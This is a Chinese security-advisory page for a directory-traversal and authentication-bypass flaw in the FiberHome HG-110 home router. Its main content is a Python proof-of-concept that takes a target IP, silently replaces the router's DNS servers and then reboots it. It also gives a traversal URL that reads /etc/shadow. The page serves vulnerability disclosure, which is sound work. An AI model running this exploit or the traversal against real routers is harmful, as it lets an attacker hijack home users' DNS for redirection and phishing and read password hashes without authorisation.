FiberHome调制解调器路由器HG-110目录遍历和安全措施绕过漏洞

发布日期：2013-09-22
更新日期：2013-10-22受影响系统：
Fiberhome hg-110 HG110_BH_V1.6
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 63235FiberHome Modem Router HG-110是一款无线家庭用网关产品。FiberHome Modem Router HG-110固件HG110_BH_V1.6版本在实现上存在目录遍历和安全措施绕过漏洞，成功利用后可使远程攻击者绕过身份验证，远程更改DNS。<*来源：Javier Perez
*>测试方法：
--------------------------------------------------------------------------------警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！# Exploit Title: Directory Path Traversal FiberHome Modem Router HG-110 / Remote Change DNS Servers
# Date: 22/09/2013
# Exploit Author: Javier Perez - javier@thecenutrios.com - @the_s41nt
# Vendor Homepage: http://hk.fiberhomegroup.com/
# Version: HG110_BH_V1.6
# PoC: Remote Change DNS Servers
# Example file "shadow": http://<public_ip>:8000/cgi-bin/webproc？getpage=../../../../../../../../../../../../etc/shadow&var:menu=advanced&var:page=dnsimport urllib
import urllib2ip = raw_input （"Enter Public IP: "）
dns1 = raw_input （"Enter DNS1: "）
dns2 = raw_input （"Enter DNS2: "）
url = "http://"+ip+":8000/cgi-bin/webproc？getpage=html/index.html&var:menu=setup&var:page=lan"
user_agent = "Mozilla/4.0 （compatible; MSIE 5.5; Windows NT）"
modificar = "%3AInternetGatewayDevice.LANDevice.1.X_TWSZ-COM_ProxyArp=0&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.DomainName=bamovistarwifi&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.1.Enable=1&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2.Enable=1&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.1.IPInterfaceIPAddress=192.168.1.1&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.1.IPInterfaceSubnetMask=255.255.255.0&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2.IPInterfaceIPAddress=10.167.64.81&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2.IPInterfaceSubnetMask=255.255.255.248&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.DHCPServerEnable=1&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.MinAddress=192.168.1.33&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.MaxAddress=192.168.1.50&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.DHCPLeaseTime=28800&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.DHCPRelay=0&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.SubnetMask=255.255.255.0&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPRouters=192.168.1.1&%3AInternetGatewayDevice.LANDevice.1.WLANConfiguration.1.X_TWSZ-COM_DHCPEnabled=1&%3AInternetGatewayDevice.LANDevice.1.WLANConfiguration.2.X_TWSZ-COM_DHCPEnabled=1&%3AInternetGatewayDevice.LANDevice.1.WLANConfiguration.3.X_TWSZ-COM_DHCPEnabled=1&%3AInternetGatewayDevice.LANDevice.1.WLANConfiguration.4.X_TWSZ-COM_DHCPEnabled=1&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.X_TWSZ-COM_UseIPRoutersAsDNSServer=0&%3AInternetGatewayDevice.LANDevice.1.LANHostConfigManagement.DNSServers="+dns1+"%2C"+dns2+"&errorpage=html%2Findex.html&getpage=html%2Findex.html&var%3Amenu=setup&var%3Apage=lan&obj-action=set&var%3Aerrorpage=lan&%3AInternetGatewayDevice.LANDevice.1.LANEthernetInterfaceConfig.1.DhcpServerEnable=1&%3AInternetGatewayDevice.LANDevice.1.LANEthernetInterfaceConfig.2.DhcpServerEnable=1&%3AInternetGatewayDevice.LANDevice.1.LANEthernetInterfaceConfig.3.DhcpServerEnable=1&%3AInternetGatewayDevice.LANDevice.1.LANEthernetInterfaceConfig.4.DhcpServerEnable=1"
headers = { "User-Agent" : "Mozilla/5.0 （Windows NT 6.1） AppleWebKit/537.11 （KHTML, like Gecko） Chrome/23.0.1271.64 Safari/537.11" }req = urllib2.Request（url, modificar, headers）
response = urllib2.urlopen（req）url = "http://"+ip+":8000/cgi-bin/webproc？getpage=html/index.html&var:menu=maintenance&var:page=system"
user_agent = "Mozilla/4.0 （compatible; MSIE 5.5; Windows NT）"
modificar = "reboot=Reboot&obj-action=reboot&var%3Anoredirect=1&var%3Amenu=maintenance&var%3Apage=system&var%3Aerrorpage=system&getpage=html%2Fpage%2Frestarting.html"
headers = { "User-Agent" : "Mozilla/5.0 （Windows NT 6.1） AppleWebKit/537.11 （KHTML, like Gecko） Chrome/23.0.1271.64 Safari/537.11" }req = urllib2.Request（url, modificar, headers）
response = urllib2.urlopen（req）
the_page = response.read（）建议：
--------------------------------------------------------------------------------
厂商补丁：Fiberhome
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：http://hk.fiberhomegroup.com/D-Link DIR-100 "RuntimeDiagnosticPing（）"栈缓冲区溢出漏洞Apache Sling "AbstractAuthenticationFormServlet"开放重定向漏洞相关资讯 FiberHome 本文评论查看全部评论（0）

评论声明

尊重网上道德，遵守中华人民共和国的各项有关法律法规
承担一切因您的行为而直接或间接导致的民事或刑事法律责任
本站管理人员有权保留或删除其管辖留言中的任意内容